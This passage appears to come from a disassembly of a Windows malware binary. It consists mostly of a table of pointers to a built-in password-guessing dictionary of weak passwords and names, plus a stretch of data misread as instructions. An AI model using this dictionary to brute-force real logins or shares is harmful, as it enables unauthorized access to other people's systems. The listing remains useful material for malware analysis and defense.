		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMass		; "mass"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMgr		; "mgr"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMirc_0	; "mirc"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMit		; "mit"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNeil		; "neil"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNet		; "net"
		dd offset aNetDevil	; "net-devil"
		dd offset aNetbios	; "netbios"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetfuck	; "netfuck"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNew		; "new"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNokia	; "nokia"
		dd offset aNone		; "none"
		dd offset aNoob		; "noob"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNutrition	; "nutrition"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOceanography	; "oceanography"
		dd offset aOcelot	; "ocelot"
		dd offset aOeminstall	; "oeminstall"
		dd offset aOemuser	; "oemuser"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOracle	; "oracle"
		dd offset aOrange	; "orange"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutlook	; "outlook"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOwa		; "owa"
		dd offset aOwn		; "own"
		dd offset aOwned	; "owned"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPad		; "pad"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPam		; "pam"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPass_0	; "pass"
		dd offset aPass123	; "pass123"
		dd offset aPass1234	; "pass1234"
		dd offset aPassphra	; "passphra"
		dd offset aPasswd	; "passwd"
		dd offset aPassword1	; "password1"
		dd offset aPassword123	; "password123"
		dd offset aPaste	; "paste"
		dd offset aPat		; "pat"
		dd offset aPatricia	; "patricia"
		dd offset aPatrick	; "patrick"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPc		; "pc"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPepsi	; "pepsi"
		dd offset aPercolat	; "percolat"
		dd offset aPercolate	; "percolate"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersimmon	; "persimmon"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPink		; "pink"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPolynomial	; "polynomial"
		dd offset aPonderin	; "ponderin"
		dd offset aPondering	; "pondering"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinceton	; "princeton"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfessor	; "professor"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPub		; "pub"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aPw		; "pw"
		dd offset aPw123	; "pw123"
		dd offset aPwd		; "pwd"
		dd offset aQaz		; "qaz"
		dd offset aQuebec	; "quebec"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aR00t		; "r00t"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRje		; "rje"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRochester	; "rochester"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRon		; "ron"
		dd offset aRonald	; "ronald"
		dd offset aRooted	; "rooted"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSa		; "sa"
		dd offset aSafe		; "safe"
		dd offset aSage		; "sage"
		dd offset aSal		; "sal"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSam		; "sam"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSatan	; "satan"
		dd offset aSatanic	; "satanic"
		dd offset aSatanik	; "satanik"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aSearch	; "search"
		dd offset aSecret	; "secret"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSex_0	; "sex"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheffield	; "sheffield"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSiemens	; "siemens"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSignature	; "signature"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceman	; "spaceman"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpencer	; "spencer"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSql		; "sql"
		dd offset aSqlagent	; "sqlagent"
		dd offset aSqlpass	; "sqlpass"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStaff	; "staff"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStephanie	; "stephanie"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStratford	; "stratford"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStudent1	; "student1"
		dd offset aStuttgar	; "stuttgar"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSue		; "sue"
		dd offset aSummer	; "summer"
		dd offset aSun		; "sun"
		dd offset aSunday	; "sunday"
		dd offset aSuper	; "super"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuse	; "superuse"
		dd offset aSuperuser	; "superuser"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSupported	; "supported"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybase	; "sybase"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSys		; "sys"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTangerine	; "tangerine"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
; ---------------------------------------------------------------------------


loc_42DE30:				; CODE XREF: .text:loc_42DE30j
		jo	short loc_42DE30
		inc	edx
		add	[esi+edi*8+42h], ah
		add	[esi+edi*8+42h], bl
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[eax], bl
		inc	byte ptr [edx+0]
		or	al, 0FEh
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	ah, bl
		std
		inc	edx
		add	ah, dl
		std
		inc	edx
		add	ah, cl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[ebp+edi*8-24BFFBEh], bh
		inc	edx
		add	[ebp+edi*8-25FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD03h], bl
		std
		inc	edx
		add	[ebp+edi*8-283FFBEh], al
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[ebp+edi*8+42h], ch
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[ebp+edi*8+42h], dl
		add	[ebp+edi*8+42h], cl
		add	[ebp+edi*8+42h], al
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	ds:0FD180042h[edi*8], ah
		inc	edx
		add	ds:0FD040042h[edi*8], cl
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	ah, dh
		cld
		inc	edx
		add	ah, ch
		cld
		inc	edx
		add	ah, ah
		cld
		inc	edx
		add	ah, bl
		cld
		inc	edx
		add	al, dl
		cld
		inc	edx
		add	al, cl
		cld
		inc	edx
		add	[esp+edi*8-34BFFBEh], bh
		inc	edx
		add	[esp+edi*8-35BFFBEh], ch
		inc	edx
		add	[esp+edi*8-36BFFBEh], bl
		inc	edx
		add	[eax-7FFFBD04h], cl
		cld
		inc	edx
		add	[eax-4], bh
		inc	edx
		add	[eax-4], dh
		inc	edx
		add	[esp+edi*8+42h], ch
		add	[esp+edi*8+42h], ah
		add	[esp+edi*8+42h], bl
		add	[esp+edi*8+42h], dl
		add	[esp+edi*8+42h], cl
		add	[esp+edi*8+42h], al
		add	[esp+edi*8], bh
		inc	edx
		add	[esp+edi*8], dh
		inc	edx
		add	[esp+edi*8], ch
		inc	edx
		add	[esp+edi*8], ah
		inc	edx
		add	[esp+edi*8], bl
		inc	edx
		add	[esp+edi*8], dl
		inc	edx
		add	[esp+edi*8], cl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnix		; "unix"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUser1	; "user1"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUserpassword	; "userpassword"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aW00t		; "w00t"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWeb		; "web"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWh0r3	; "wh0r3"
		dd offset aWh0re	; "wh0re"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWholesale	; "wholesale"
		dd offset aWhore	; "whore"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWin		; "win"
		dd offset aWin2000	; "win2000"
		dd offset aWin2k	; "win2k"
		dd offset aWin98	; "win98"
		dd offset aWindose	; "windose"
		dd offset aWindows	; "windows"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindows95	; "windows95"
		dd offset aWindows98	; "windows98"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindoze95	; "windoze95"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindozexp	; "windozexp"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinnt	; "winnt"
		dd offset aWinpass	; "winpass"
		dd offset aWinston	; "winston"
		dd offset aWinxp	; "winxp"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWisconsin	; "wisconsin"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWww		; "www"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWyoming	; "wyoming"
		dd offset asc_43362C	; "x"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXp_0		; "xp"
		dd offset aXray		; "xray"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYellowstone	; "yellowstone"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aYxcv		; "yxcv"
		dd offset aZap		; "zap"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZimmerman	; "zimmerman"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset asc_4335F4	; "%"
		dd offset dword_42F650
		dd offset dword_42F64C
		dd offset dword_42F648
		dd offset a@_10		; "!@#$%"
		dd offset a@_9		; "!@#$%^"
		dd offset a@_8		; "!@#$%^&"
		dd offset a@_7		; "!@#$%^&*"
		dd offset loc_426447+1
